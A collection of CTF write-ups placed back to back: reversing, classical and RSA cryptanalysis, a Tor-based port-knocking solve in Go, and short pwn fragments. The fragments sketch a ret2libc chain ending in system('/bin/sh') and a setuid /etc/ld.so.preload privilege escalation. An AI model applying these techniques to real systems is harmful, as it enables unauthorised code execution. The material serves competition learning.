# crack_me (reversing) > Do you have a key?>> [crack_me.exe](./assets/crack_me.exe) Running `file` on the executable, you can see this is a Windows console executable:```bash$ file crack_me.execrack_me.exe: PE32 executable (console) Intel 80386, for MS Windows``` To gather some context, run this in Windows. You're prompted to enter a key. If you try a random string of characters,the console application prints `Invalid key!` and exits.```bash$ ./crack_me.exeEnter a key: testInvalid key!``` As this is a reversing challenge static analysis would be helpful. I typically use a combination of[Ghidra](https://github.com/NationalSecurityAgency/ghidra) and [Hopper](https://www.hopperapp.com/).If you open the file in Ghidra you'll see a symbol called `entry` is loaded, which looks like the entrypoint to theapplication. Decompiling the function we can see that this is just a wrapper for our application. There's a variablealready named `_Code`, which looks like it probably calls into the application code. ![entrypoint in ghidra](./entrypoint.jpg) Clicking through to function `FUN_00403630`, we see that our assumption is correct - there's a call to prompt for theuser to enter a key and much more.```csetlocale(0,"Russian");FUN_004022c0((int)local_2c);local_8 = 0;FUN_00401440((int *)cout_exref,"Enter the key: ");FUN_004013f0(cin_exref,local_2c);local_34 = FUN_00403310(local_2c,"_",0);if ((local_34 == -1) || (iVar2 = FUN_00403310(local_2c,"_",local_34 + 1), iVar2 == -1)) { FUN_004032f0();}iVar2 = FUN_004033f0(local_2c);if (iVar2 != 0xf) { FUN_004032f0();}pcVar8 = (char *)FUN_00402850(local_2c,0);if (*pcVar8 != 'r') { FUN_004032f0();}pcVar8 = "everse";local_3c = FUN_004035a0(local_2c,local_64,1,6);local_8._0_1_ = 1;local_38 = local_3c;uVar3 = operator!=<>(local_3c,pcVar8);local_2d = (char)uVar3;local_8 = (uint)local_8._1_3_ << 8;~_String_alloc<>(local_64);if (local_2d != '\0') { FUN_004032f0();}pcVar8 = (char *)FUN_00402850(local_2c,8);if (*pcVar8 == 'i') { pcVar8 = (char *)FUN_00402850(local_2c,8); cVar1 = *pcVar8; pcVar8 = (char *)FUN_00402850(local_2c,9); if ((int)cVar1 + (int)*pcVar8 == 0xdc) goto LAB_00403782;}fail();LAB_00403782: ...```From this snippet, we can see:* The locale is set to Russian. Probably not relevant as this event is organised by a Russian university* `FUN_00401440` prints to standard out* `FUN_004013f0` reads from standard in and puts the result in `local_2c`* `FUN_00403310` looks like it's looking for the first index of a character in a string* `FUN_004032f0` is called in several condition blocks, so is likely used to short-circuit the application if acondition is not met - clicking through, you'll see a call to print `Invalid key!` to the console and a call to`exit(0)` to exit the application* `FUN_004033f0` looks like a length check - the condition that follows checks if the return value is `0xf`* `FUN_00402850` looks like a call to get the character at an index* `FUN_004035a0` is less obvious but looks like a substring function Knowing all of this, we can change the variable and function names using `L` to make the code easier to read:```csetlocale(0,"Russian");FUN_004022c0((int)inputKey);local_8 = 0;print((int *)cout_exref,"Enter the key: ");readString(cin_exref,inputKey);underscoreIndex = strpos(inputKey,"_",0);if ((underscoreIndex == -1) || (iVar2 = strpos(inputKey,"_",underscoreIndex + 1), iVar2 == -1)) { fail();}inputKeyLength = strlen(inputKey);if (inputKeyLength != 0xf) { fail();}charAtIndex0 = (char *)charAt(inputKey,0);if (*charAtIndex0 != 'r') { fail();}pcVar8 = "everse";local_3c = substring(inputKey,local_64,1,6);local_8._0_1_ = 1;local_38 = local_3c;uVar3 = operator!=<>(local_3c,pcVar8);local_8 = (uint)local_8._1_3_ << 8;~_String_alloc<>(local_64);if ((char)uVar3 != '\0') { fail();}pcVar8 = (char *)charAt(inputKey,8);if (*pcVar8 == 'i') { pcVar8 = (char *)charAt(inputKey,8); cVar1 = *pcVar8; pcVar8 = (char *)charAt(inputKey,9); if ((int)cVar1 + (int)*pcVar8 == 0xdc) goto LAB_00403782;}fail();LAB_00403782:...```This is much easier to read, and we can now determine that the key:* Contains 2+ underscores* Is 15 (`0xf`) characters long* Has `r` as the first character* Has `everse` after `r`* The character at index 8 is `i`* The character at index 9 is `s` (`*pcVar8 = 0xdc - cVar1`, where `cVar1` is `0x69`, the hex char code of `i`) The key therefore starts with `reverse_is` (we don't know for certain that the `_` is there, but it would be consistentwith the typical flag format). The next section is interesting, because it isn't a straight character/string comparison. Ghidra also gets the firstfew lines wrong in its disassembly (e.g. `local_4c = &stack0xffffff5c` should be `local_4c = 0xfffffff5`, so I'vecleaned that up below (this is also a good reason to make use of multiple tools):```cLAB_00403782: pcVar8 = "fine"; local_4c = 0xfffffff5; substring(inputKey,&stack0xffffff5c,0xb,4); local_44 = (void *)FUN_00403090(local_7c); local_8._0_1_ = 2; local_40 = local_44; uVar3 = operator!=<>(local_44,pcVar8); local_8 = (uint)local_8._1_3_ << 8; ~_String_alloc<>(local_7c); if ((char)uVar3 != '\0') { fail(); } underscoreIndex = strpos(inputKey,"e",0); while (underscoreIndex != -1) { puVar7 = (undefined *)charAt(inputKey,underscoreIndex); *puVar7 = 0x33; underscoreIndex = strpos(inputKey,"e",0); } pcVar8 = "}\n"; puVar7 = inputKey; pcVar6 = "InnoCTF{"; pcVar5 = FUN_00401f80; this = (basic_ostream<char,struct_std::char_traits<char>_> *)print((int *)cout_exref,"Success!!!") ; piVar4 = (int *)operator<<(this,pcVar5); piVar4 = (int *)print(piVar4,pcVar6); piVar4 = (int *)FUN_00401410(piVar4,puVar7); print(piVar4,pcVar8); system("pause"); local_48 = 0; local_8 = 0xffffffff; ~_String_alloc<>(inputKey); *in_FS_OFFSET = local_10; FUN_004039b7(); return; ```There's a reference to the word `fine`, the number `0xfffffff5`, and 4 characters from index 11 (`0xb`) of `inputKey`are extracted. This is followed by a call to `FUN_00403090`, though Ghidra gets the parameter count wrong in thedisassembled code. I've extracted the interesting part and replaced `&stack0x00000008` with `keySuffix` (i.e. thelast 4 characters of `inputKey`):```cwhile( true ) { uVar1 = strlen(keySuffix); if (uVar1 <= local_30) break; pcVar2 = (char *)charAt(keySuffix,local_30); iVar3 = isupper((int)*pcVar2); if (iVar3 == 0) { pcVar2 = (char *)charAt(keySuffix,local_30); FUN_00402980(local_2c,(char)(((int)*pcVar2 + -0x61 + in_stack_00000020) % 0x1a) + 'a'); } else { pcVar2 = (char *)charAt(keySuffix,local_30); FUN_00402980(local_2c,(char)(((int)*pcVar2 + -0x41 + in_stack_00000020) % 0x1a) + 'A'); } local_30 = local_30 + 1;}```The loop here iterates over each character and applies some simple math operations using values depending on thecharacter case. This looks similar to a shift cipher. Taking the lowercase expression for example:```cpcVar2 = (char *)charAt(keySuffix,local_30);FUN_00402980(local_2c,(char)(((int)*pcVar2 + -0x61 + in_stack_00000020) % 0x1a) + 'a');```This translates to the equivalent JavaScript code:```jsconst charCode = keySuffix.charCodeAt(i);FUN_00402980(local_2c, String.fromCharCode(((charCode - 0x61 + in_stack_00000020) % 0x1a) + 0x61);```It's not obvious where `in_stack_00000020` comes from, so look at the assembly code:```0x0040314e MOV ECX, dword ptr [EBP + Stack[0x20]]0x00403151 LEA ECX, [EAX + ECX*0x1 + -0x61]...```The value of `ECX` comes from a reference to the stack used by the previous function. You can get the value by settinga breakpoint using a debugger like [x32dbg](https://github.com/x64dbg/x64dbg), or recall that the value `0xfffffff5` wasdefined immediately after the string `fine`. Be careful with how your translate this into code because we're workingwith 32-bit values and the result will overflow. Our cipher becomes:```jsfunction encode(charCode) { // bitwise AND with 0xffffffff to make the result a 32-bit value return ((charCode - 0x61 + 0xfffffff5) & 0xffffffff) % 0x1a + 0x61;}```This makes the key trivial to bruteforce, and we end up with the value `qtyp`. Our key is now `reverse_is_qtyp`, which satisfies the constraints we defined earlier - it has 2+ underscores and is 15characters long. Entering this into the application:```bash$ ./crack_me.exeEnter a key: reverse_is_qtypSuccess!!!InnoCTF{r3v3rs3_is_qtyp}```
This is the same as Storytime. I use printf to leak gets()'s libc address by doing printf(gets_got). Then using the leak, I find the libc version, find the gets offset, use that to calculate the libc base. I then also use system and '/bin/sh's offset to calculate their addresses, then just make sure to jump back to main after the leak and re-exploit the program by calling system('/bin/sh') exploit is shown on [my website](https://syedfarazabrar.com/pwn/2019/06/22/hsctf-binary-exploitation-challenges.html#combo-chain).
## CryptoCaulingo Probably my favorite question of the Beginners Quest So its basically RSA, but with huge N and a little constrant ![](images/1.png) I started scribbling on a paper how to do it, and quickly thought of fermat factorization ##### How? So basically I would brute force A and B, and do fermat factorization on N\*A\*B. Why? Because N = P\*Q so N\*A\*B = P\*A\*Q\*B. and since abs(P\*A - Q\*B) <= 10000, fermat *should* work like a charm. #### Boy was i wrong It took about 10 minutes to run, and to my surprise it didnt find factors :( I starting trying to fix maybe integer sqrt function, maybe fermat function, it just didnt work. So I decided to sleep and the next day I had an idea that *maybe* increasing the range of A and B could work. To make a long story short, it did. Easy gcd between N and the found factors of N\*A\*B gives use P and Q like a charm ![](images/2.png) ### Flag CTF{017d72f0b513e89830bccf5a36306ad944085a47}
Unknocking was a networking task on CyBRICS CTF 2019 quals. The objective of the task was to reverse engineer a port knocking daemon that implements unconventional port knocking algorithm over IPv6, and do the knocking over Tor. ## Reverse engineering The only thing provided was a file named `unknocking.zip`. It contained a file system with a few interesting files: * `rootfs/etc/knock.whitelist` contained a list of IPv6 addresses. Upon investigation, it turned out to be a list of known Tor exit nodes.* `rootfs/etc/network/interfaces` had public IPv6 address statically configured.* `rootfs/srv/server` was a binary executable file, which we will analyze shortly. The binary used a well-known `libpcap` library to capture network traffic. When you run `tcpdump`, you can specify filter program in pcap filter language. What makes it efficient is that the program specified is compiled into BPF bytecode, and then passed into kernel. The kernel interprets the bytecode, and wakes the userspace program up only when a packet matching the filter comes. This minimizes both context switches and kernel-userspace copies. In this program, however, the filter was embedded into program binary as bytecode, so we had to reverse engineer it as well. To our surprise, we did not find an easy way to correctly disassemble BPF filter for network packets during the CTF and it took us rather long to understand what it does. We tried BPF disassembler [added to latest versions of Capstone](https://github.com/aquynh/capstone/pull/1388), but for some reason it could not disassemble some instructions (it was stopping on the first instruction it could not handle). We also tried a disassembler for seccomp BPF, it worked, but it's output is not very good for analyzing packet filter - for example, it showed two `return`s instructions at the end of the filter as both `ret KILL` whereas first of them actually accepted a packet (`ret 0x80`) and second one dropped it (`ret 0x0`). (Also, `and X` and `sub X` were for some reason shown as `and 0x0` and `sub 0x0`). At the end we used a compilation of outputs given by these two. Apparently, this bytecode was generated by some suboptimal compiler, as there's quite a few redundant and unreachable instructions. Basically, this bytecode accepts IPv6 packets destined to `aaaa:bbbb:cccc:dddd:eeee:ffff:7777:3333` (this address is replaced with real local host address before applying the filter), destination TCP port `443`, and `SYN` flag set. ``` line OP JT JF K=================================; check EtherType == 0x86dd (IPv6) 0x00: 0x28 0x00 0x00 0x0000000c ldh $data[0xc] 0x01: 0x15 0x00 0x2d 0x000086dd jeq 0x86dd true:0x2 false:LABEL_ZERO; check EtherType == 0x86dd (IPv6) (again) 0x02: 0x28 0x00 0x00 0x0000000c ldh $data[0xc] 0x03: 0x15 0x00 0x2b 0x000086dd jeq 0x86dd true:0x4 false:LABEL_ZERO; check IPv6 destination, first word 0x04: 0x20 0x00 0x00 0x00000026 ld $data[0x26] 0x05: 0x15 0x00 0x29 0xaaaabbbb jeq 0xaaaabbbb true:0x6 false:LABEL_ZERO; check IPv6 destination, second word 0x06: 0x20 0x00 0x00 0x0000002a ld $data[0x2a] 0x07: 0x15 0x00 0x27 0xccccdddd jeq 0xccccdddd true:0x8 false:LABEL_ZERO; check IPv6 destination, third word 0x08: 0x20 0x00 0x00 0x0000002e ld $data[0x2e] 0x09: 0x15 0x00 0x25 0xeeeeffff jeq 0xeeeeffff true:0xa false:LABEL_ZERO; check IPv6 destination, fourth word 0x0a: 0x20 0x00 0x00 0x00000032 ld $data[0x32] 0x0b: 0x15 0x00 0x23 0x77773333 jeq 0x77773333 true:0xc false:LABEL_ZERO; check EtherType == 0x86dd (IPv6) (again) 0x0c: 0x28 0x00 0x00 0x0000000c ldh $data[0xc] 0x0d: 0x15 0x00 0x04 0x000086dd jeq 0x86dd true:0xe false:0x12; check Next Header == 0x6 (TCP) 0x0e: 0x30 0x00 0x00 0x00000014 ldb $data[0x14] 0x0f: 0x15 0x00 0x02 0x00000006 jeq 0x6 true:0x10 false:0x12; check TCP destination port == 443 0x10: 0x28 0x00 0x00 0x00000038 ldh $data[0x38] 0x11: 0x15 0x09 0x00 0x000001bb jeq 0x1bb true:0x1b false:0x12; check EtherType == 0x800 (IPv4) 0x12: 0x28 0x00 0x00 0x0000000c ldh $data[0xc] 0x13: 0x15 0x00 0x1b 0x00000800 jeq 0x800 true:0x14 false:LABEL_ZERO; check IPv4 Protocol == 0x6 (TCP) 0x14: 0x30 0x00 0x00 0x00000017 ldb $data[0x17] 0x15: 0x15 0x00 0x19 0x00000006 jeq 0x6 true:0x16 false:LABEL_ZERO; check IPv4 fragment offset == 0 0x16: 0x28 0x00 0x00 0x00000014 ldh $data[0x14] 0x17: 0x45 0x17 0x00 0x00001fff jset 0x1fff true:LABEL_ZERO false:0x18; X = IHL 0x18: 0xb1 0x00 0x00 0x0000000e ldx 4 * $data[0xe] & 0x0f; check TCP destination port == 443 0x19: 0x48 0x00 0x00 0x00000010 ldh $data[X + 0x10] 0x1a: 0x15 0x00 0x14 0x000001bb jeq 0x1bb true:0x1b false:LABEL_ZERO; check EtherType == 0x86dd (IPv6) (again) 0x1b: 0x28 0x00 0x00 0x0000000c ldh $data[0xc] 0x1c: 0x15 0x00 0x12 0x000086dd jeq 0x86dd true:0x1d false:LABEL_ZERO; calculate offset of tcp flags in packet 0x1d: 0x00 0x00 0x00 0x00000035 ld 0x35 0x1e: 0x02 0x00 0x00 0x00000000 st $temp[0x0] 0x1f: 0x61 0x00 0x00 0x00000000 ldx $temp[0x0]; load byte at offset 0x35 + 0xe = 0x43 (tcp flags) into A 0x20: 0x50 0x00 0x00 0x0000000e ldb $data[X + 0xe] 0x21: 0x02 0x00 0x00 0x00000001 st $temp[0x1] 0x22: 0x00 0x00 0x00 0x00000002 ld 0x2 0x23: 0x02 0x00 0x00 0x00000002 st $temp[0x2] 0x24: 0x61 0x00 0x00 0x00000002 ldx $temp[0x2] 0x25: 0x60 0x00 0x00 0x00000001 ld $temp[0x1]; take tcp flags by mask 2: get value of SYN flag 0x26: 0x5c 0x00 0x00 0x00000000 and X 0x27: 0x02 0x00 0x00 0x00000002 st $temp[0x2] 0x28: 0x00 0x00 0x00 0x00000000 ld 0x0 0x29: 0x02 0x00 0x00 0x00000003 st $temp[0x3] 0x2a: 0x61 0x00 0x00 0x00000003 ldx $temp[0x3] 0x2b: 0x60 0x00 0x00 0x00000002 ld $temp[0x2] 0x2c: 0x1c 0x00 0x00 0x00000000 sub X; check that SYN flag is set 0x2d: 0x15 0x01 0x00 0x00000000 jeq 0x0 true:LABEL_ZERO false:0x2e 0x2e: 0x06 0x00 0x00 0x00000080 ret 0x80LABEL_ZERO: 0x2f: 0x06 0x00 0x00 0x00000000 ret 0 ``` Packets that pass the filter go straight to the handler which was passed to `pcap_loop` function. This handler contains lots of STL code which boils down to pretty simple algorithm. Essentialy, the program associates a remote host with a string, and when you connect to new port `p` it adds a character `"0123456789abcdef"[(P >> 8) & 0xF]` to this string. If string is equal to `secretPhrase` (which is 24 characters long) then you get a flag; if string is not a prefix of `secretPhrase` it resets to empty one; same thing happens if more than 30 seconds passed since last packet from you. Oh well, another small detail: your host must appear in `knock.whitelist`, which, as mentioned above, is a list of IPv6-enabled Tor exit nodes. It means you need to perform this "port knocking authorization" over Tor using IPv6. Usually port knocking means that in order to connect to some protected port (say, SSH port 22), you have to try to connect to some ports of the remote machine in specific sequence. In this task, however, the port knocking daemon checks the source port of connection attempts instead. The third nibbles of connection attempts to port 443 must form a certain secret sequence. For example, if secret sequence were `1337`, you must choose source ports, in order, `0xn1nn`, `0xn3nn`, `0xn3nn`, `0xn7nn`. If you connect using incorrect source port, you receive connection reset, and must start the sequence anew. If the source port is correct, the connection will succeed, and you will either got nothing (if it wasn't the last element of the sequence), or the flag. To sum up, you have to connect to server 24 times, from source ports with specific values - each time the third nibble of port number should have a certain value. A single connection from a port with incorrect third nibble resets the sequence as well as failing to make next connection within 30 seconds since the previous one. ## Doing the port knocking It it weren't for Tor, things would be very easy. Although operating systems usually choose source port for outgoing connections arbitrarily, one can easily force any free port by calling `bind()` before `connect()`. However, since we have to do the knocking through Tor, we can't ask the exit node to bind the port we want before connecting. We have to somehow abuse the algorithm that allocates port numbers to get the desired port sequence. We assumed that the source port are allocated sequentially, using some global counter. Expirements confirmed this behaviour: ```>>> for i in range(4):... print(socket.create_connection(("ya.ru", 80)).getsockname())... ('10.0.0.50', 47268)('10.0.0.50', 47270)('10.0.0.50', 47272)('10.0.0.50', 47274)``` It's only half of the trouble, though. First, we don't know the current counter value of the Tor node. Second, other activity on the said node may cause the counter to advance very fast, skipping the desired value. To solve these problems, we wrote a program that binds some port, and connects through Tor back to it, revealing current ephemeral port value of current Tor exit node. It does so in a loop, checking whether current nibble matches the next one of the secret sequence. If it does, we connect to the machine with the flag, and repeat the same with the next nibble. It wasn't as simple, though. We noticed that the first exit node we got apparently had some heavy activity, and source ports were skipping too fast. Changing exit node is simple: you can use Tor's `IsolateSOCKSAuth`, and connect to local SOCKS proxy using different passwords, and Tor will build different circuits. You can also use `ExitNodes` config directive to force specific exit node. After going through some unsuitable exit nodes with unpredictable sequences, tuning the algorithm a bit, we got the flag. The exit node we used was [ACDD9E85A05B127BA010466C13C8C47212E8A38F](https://metrics.torproject.org/rs.html#details/ACDD9E85A05B127BA010466C13C8C47212E8A38F). ```gopackage main import ( "flag" "fmt" "io" "log" "net" "os" "strconv" "time" "golang.org/x/net/proxy") const secret = "4f70334e5f73337a344d3321" func getLocalAddr() string { sock, err := net.Dial("udp6", "[2000::1]:148") if err != nil { log.Fatal(err) } defer sock.Close() host, _, _ := net.SplitHostPort(sock.LocalAddr().String()) return host} func prinimatel(ch chan string) net.Addr { ln, err := net.Listen("tcp6", net.JoinHostPort(getLocalAddr(), "0")) if err != nil { log.Fatal(err) } go func() { for { conn, err := ln.Accept() if err != nil { log.Fatal(err) } ch <- conn.RemoteAddr().String() conn.Close() } }() return ln.Addr()} func getCurrentNibble(d proxy.Dialer, addr net.Addr, ch chan string) (uint64, uint64) { c, err := d.Dial(addr.Network(), addr.String()) if err != nil { log.Fatal(err) } defer c.Close() remoteAddr := <-ch _, port, _ := net.SplitHostPort(remoteAddr) u, _ := strconv.ParseUint(port, 10, 16) log.Printf("port 0x%x (%s)", u, remoteAddr) return (u >> 8) & 0xF, (u & 0xFF)} func tryConnect(d proxy.Dialer) { const target = "[2a05:f480:1800:ba7:5400:2ff:fe2f:b33b]:443" //const target = "[2a01:4f8:c2c:75e0::1]:443" conn, err := d.Dial("tcp6", target) if err != nil { log.Fatal(err) return } defer conn.Close() if err := conn.SetDeadline(time.Now().Add(time.Second * 1)); err != nil { log.Fatal(err) } if _, err := io.Copy(os.Stdin, conn); err != nil { log.Print(err) }} func main() { var seed = flag.String("seed", fmt.Sprintf("%d", os.Getpid()), "Seed") flag.Parse() log.Printf("Using seed %q", *seed) auth := &proxy.Auth{ User: "tor", Password: *seed, } tor, err := proxy.SOCKS5("tcp", "127.0.0.1:9050", auth, nil) if err != nil { log.Fatal(err) } ch := make(chan string) prinimatelAddr := prinimatel(ch) for i := 0; i < len(secret); i++ { targetNibble, _ := strconv.ParseUint(secret[i:i+1], 16, 8) log.Printf("waiting for %x", targetNibble) for { log.Printf(" i=%d s=%s", i, secret[i:i+1]) currentNibble, rem := getCurrentNibble(tor, prinimatelAddr, ch) if currentNibble == targetNibble && rem < 0xf0 { break } for i := uint64(0); i < (targetNibble-currentNibble)%16; i++ { go getCurrentNibble(tor, prinimatelAddr, ch) } } tryConnect(tor) }} ``` ### Linux port randomization The official write-up mentioned that there was an obstacle that Linux uses different source port offset for different destinations. Indeed, it can be observed even for different ports of the same destination IP: ```>>> print(socket.create_connection(("ya.ru", 80)).getsockname())('10.0.0.75', 53372)>>> print(socket.create_connection(("ya.ru", 443)).getsockname())('10.0.0.75', 60286)>>> print(socket.create_connection(("ya.ru", 80)).getsockname())('10.0.0.75', 53376)>>> print(socket.create_connection(("ya.ru", 443)).getsockname())('10.0.0.75', 60290)``` But we didn't take it into account and didn't even know about it until after we saw the official write up. How so? We got curious, and investigated a bit. It turned out the exit node we chose was running FreeBSD, which doesn't do hash based source port randomization.
A simple ROP challenge. A very detailed writeup can be found on [my website](https://syedfarazabrar.com/pwn/2019/06/22/hsctf-binary-exploitation-challenges.html#combo-chain-lite). If you are confused as to how ROP (return oriented prrogramming) works, I also have writeups on the ROP Emporium challenges on my website, easily found under the Writeups section.
# Big RAM > Big RAM (rebyC, Easy, 117 pts)> Author: Vlad Roskov (vos)> > We heard that substitution ciphers are easy to crack with frequency analysis. Especially for English texts! This one, however, doesn’t map same letters to same letters, so it should be unbreakable.> > We even encrypted an entire book with it. Inside this book, we keep the flag.> > bigram.zip This challenge gives us a `bigram.zip` file containing two other files: - `encoder_decoder.py`: a Python script for encoding and decoding text- `book.enc`: an encoded ebook with the flag somewhere in it The cipher in `encoder_decoder.py` only encodes uppercase and lowercase letters, ignoring numbers and punctuation. Searching `book.enc` for `{` or `}`, we easily spot `xanjtou{sw_p_aqws_oefnehyh_jyiq_zw_qczoa_ybwrgzsbmu}`, which is our encoded flag. A substitution cipher is easy to break if you have a sufficiently large piece of ciphertext. To break such a cipher, we use [frequency analysis](https://en.wikipedia.org/wiki/Frequency_analysis), which is based on the fact that some letters in a language appear more often than other letters. The letter "e", for example, appears 17 times in this sentence, while the letter "a" only appears 6 times. If the ciphertext is large enough, the frequency of each letter will be close to their frequency in the whole language. The twist in this challenge is that, instead of individual letters, the idea was applied to pairs of letters, or bigrams, hence the name of the challenge. This makes things a bit more complicated, as we go from 26 possible letters to (26 × 26) + 26 = 702 possible "letters", which makes frequencies more evenly distributed. First, we need the frequency of the most common bigrams in the English language. The list from the [bigram article](https://en.wikipedia.org/wiki/Bigram) on Wikipedia shall do. ```th 1.52 en 0.55 ng 0.18he 1.28 ed 0.53 of 0.16in 0.94 to 0.52 al 0.09er 0.94 it 0.50 de 0.09an 0.82 ou 0.50 se 0.08re 0.68 ea 0.47 le 0.08nd 0.63 hi 0.46 sa 0.06at 0.59 is 0.46 si 0.05on 0.57 or 0.43 ar 0.04nt 0.56 ti 0.34 ve 0.04ha 0.56 as 0.33 ra 0.04es 0.56 te 0.27 ld 0.02st 0.55 et 0.19 ur 0.02``` Now we need the frequency of the bigrams in the encoded book. We can piggyback on the provided code by adding a `freq = {}` dictionary and modifying the `transform` function a little bit: ```pythondef transform(s): s = s.group(0) res = "" for i in range(0, len(s), 2): chunk = s[i:i+2] # add this if-else if chunk.lower() not in freq: freq[chunk.lower()] = 1 else: freq[chunk.lower()] += 1 if len(chunk) == 2: ## if it's a bigram ciph = map2[chunk.lower()] if chunk[0] == chunk[0].upper(): ciph = ciph[0].upper() + ciph[1] if chunk[1] == chunk[1].upper(): ciph = ciph[0] + ciph[1].upper() elif len(chunk) == 1: ## if it's last odd character ciph = map1[chunk.lower()] if chunk == chunk.upper(): ciph = ciph.upper() res += ciph return res``` Now let's add some code to output the frequencies we've obtained: ```pythonout = open('freq.txt', "wb")for item in sorted(freq.items(), key=lambda x: x[1], reverse=True): out.write('%s, %d\n' % (item[0], item[1]))``` Saving it as `freq.py`, we can now run `python freq.py enc anypassword book.enc freq.txt`. Instead of encoding `book.enc` again, the code will create a `freq.txt` file containing the frequency of each bigram in `book.enc`, sorted from higher to lower frequency. The beginning of the file should look like this: ```yb, 12610n, 11822x, 7827s, 7262u, 6012ow, 5406wr, 5119jo, 3736jy, 3726cd, 3615xq, 3463zv, 3088by, 3064a, 2990d, 2988cz, 2865kt, 2626jd, 2575f, 2462l, 2435``` Rightaway we notice the frequency of `yb` is much higher than the other bigrams, just like `th` in the English language, so `yb` probably is `th` encoded. If we simply keep replacing encoded bigrams by their corresponding decoded bigrams, we'll have a problem: how will we know if a `th` in the encoded text is an encoded bigram or a decoded `yb`? To make things a bit easier, let's do one more trick: 1. run `python encoder_decoder.py enc anypassword book.enc book2.enc` to encode `book.enc` with `anypassword`;2. open `encoder_decoder.py` and change `res += ciph` to `res += '[' + ciph + ']'`;3. run `python encoder_decoder.py dec anypassword book2.enc bookbrackets.enc` to decode `book2.enc` with `anypassword`. Here's the beginning of `bookbrackets.enc`: ```[Gu][kc][uo] [Zj][wr][gm][xq][n] [Oe][fd][rc][sq][cz][u] [oe][uq][ol][s]: [Co][cm][pn][l] [am][zi][to] [xa][ej][vt][qs][v] [zp][xx] 2005. [Sb][aj][wr][un][a] [Uc][yr][of][bu][l][Kg][ho][by][u]. [Xh][rh][uo][zo] [hs][mu][Ej][ld]-[ex][lo][vp][l] [Wr][f] [jy][te][hd][qc][yt][n] [sd] [yb][n] [zv][hs][uq] [sd] [yb][n] [ad][ex][g] [aq][yb] [jy][sb] [pr][xg][uo] [wr][x] [re][ef][xw][g] [uc][of][gi][zo][lo] [sv][ac][xu] [ej] [xh][ea][tj][by][cd] [d] [lp][zw][by]'[u] [da][dk][vp][l] [wr][x] [jy][iq][by] [xh][io][in][yk][jy].``` By encoding and decoding `book.enc` with the same password, we essentially have the same file, but now there are brackets around each encoded bigram, making it easier to distinguish bigrams and to keep track of the ones we haven't decoded yet. Instead of relying on a text editor's "Find and replace", let's create a script called `replace.py` to decode the bigrams we know. ```pythonimport re decodelist = [ ('yb', 'th')] content = open('bookbrackets.enc', 'r').read()for i in decodelist: content = re.sub('\[' + i[0] + '\]', i[1], content, 0, re.I)print(content)``` This way, we can keep expanding `decodelist` with new findings. We know the encoded flag is `xanjtou{sw_p_aqws_oefnehyh_jyiq_zw_qczoa_ybwrgzsbmu}`, so we can deduce `xantjou` is `cybrics` and add `('xa', 'cy'), ('nt', 'br'), ('jo', 'ic'), ('u', 's')` tuples to `decodelist`. Decoded bigrams have their surrounding brackets removed. This part involves a lot of guessing. There are many `th[n]` in the encoded text, so `[n]` probably is `e`. There's `[lp][zw][by]'[u]`, so `[u]` might be `s` or `t`. By going back and forth between known and unknown bigrams, we can slowly make some progress. There will be mistakes, so it's important to check carefully each addition to the list. We can also focus on the bigrams of the flag (`sw`, `p`, `aq`, `ws` and so on), which are the ones that really matter for the challenge. This part feels like a letter-based sudoku and surprisingly I had quite some fun doing this, despite being a bit too slow for a CTF competition. Although it did not occur to me at the time of the challenge, we can also use the frequency of whole words to help us decode bigrams. With this small `wordfreq.py` script, we can count the frequency of the encoded words and write them to `wordfreq.txt`: ```pythonimport re content = open('book.enc', 'r').read().lower()wordlist = re.sub('[^a-z ]*', '', content, 0).split() wordfreq = {} for word in wordlist: if word not in wordfreq: wordfreq[word] = 1 else: wordfreq[word] += 1 out = open('wordfreq.txt', "wb")for item in sorted(wordfreq.items(), key=lambda x: x[1], reverse=True): out.write('%s, %d\n' % (item[0], item[1]))``` Here are the first 20 words: ```ybn, 6551wrx, 2894jo, 2685d, 2429sd, 2015ow, 1672ijq, 1498ads, 1416kiu, 1224zv, 1211ezu, 1205ybxq, 1021p, 926aqyb, 918zw, 910ufqbs, 838od, 806cz, 802nca, 800xq, 740 ``` We can compare the results against [lists of the most common words in English](https://en.wikipedia.org/wiki/Most_common_words_in_English). Once again, there are many similarities between the two lists. There are, however, a few red herrings: `ufqbs`, for example, is the name of one of the characters of the book, so it definitely won't appear in the other list. After about 100 decoded bigrams, it should be possible to decode the flag: `cybrics{ok_i_will_probably_read_it_later_thanksalot}`.
Apparently, the intended solution was "umask 0", convince the setuid program to create /etc/ld.so.preload, then overwrite that file to load shared libraries of your choosing into all programs. Of course, I totally missed this solution, and went for the pwn instead :)
## task nameZakukozh (Cyber, Baby, 10 pts) ## task descriptionAuthor: Khanov Artur (awengar) This image containing flag is encrypted with affine cipher. Scrape it [zakukozh.bin](https://github.com/c00c00r00c00/writeups/raw/master/CyBRICS%20CTF%20Quals%202019/zakukozh/zakukozh.bin) ## solutionGiven file is a binary which has encrypted by [affine cipher](https://en.wikipedia.org/wiki/Affine_cipher) >The Affine cipher is a monoalphabetic substitution cipher and it can be the exact same as a standard Caesarian shift when "a" is 1. Mathematically, it is represented as e(x) = (ax + b) mod m. Decryption is a slightly different formula, d(x) = a-1(x - b) mod m. >To encode something, you need to pick the "a" and it must be coprime with the length of the alphabet. http://rumkin.com/tools/cipher/affine.php We know that **a** is [coprime](https://en.wikipedia.org/wiki/Coprime_integers) to alphabet. Alphabet is 256 for binary file. To calculate coprimes you can use [this script](https://github.com/c00c00r00c00/scripts/tree/master/coprimes):```$ ./coprimes.pl 2563579...```We have 127 coprimes numbers for integer 256. **b** may be any number from 0 to 255. So we have to brute force 127 * 256 = 32512 Or if you are lazy, you can brute force 256 * 256 = 65536 No big difference : ) ```#!/usr/bin/perluse feature 'say';use strict; use warnings; open my $fh, '<', 'zakukozh.bin' or die "Can't open file $!";read $fh, my $file_content, -s $fh;close($fh); $| = 1;for my $aa (0..256) { for my $bb (0..256) { print "\e[1K\r"; printf("bruteforcing, a: %3d, b: %3d", $aa, $bb); my @arr = unpack('C*', $file_content); my $str = join '', map { chr( ($aa * ( $_ - $bb ) ) % 256 ) } @arr; if(grep(/^.PNG/, $str)) { open(my $fh, '>', "decoded_${aa}_${bb}.png"); say "\t FOUND PNG"; print $fh $str; close($fh); } }}print "\e[1K\rc0c0\n";``` In few minutes the output will be:```$ ./solution.plbruteforcing, a: 239, b: 89 FOUND PNGc0c0 $ lsdecoded_239_89.png readme.md solution.pl zakukozh.bin``` ![flag](https://github.com/c00c00r00c00/writeups/raw/master/CyBRICS%20CTF%20Quals%202019/zakukozh/decoded_239_89.png) p.s.: good article about cryptanalysis of simple ciphers (rus) - https://habr.com/ru/post/271257/
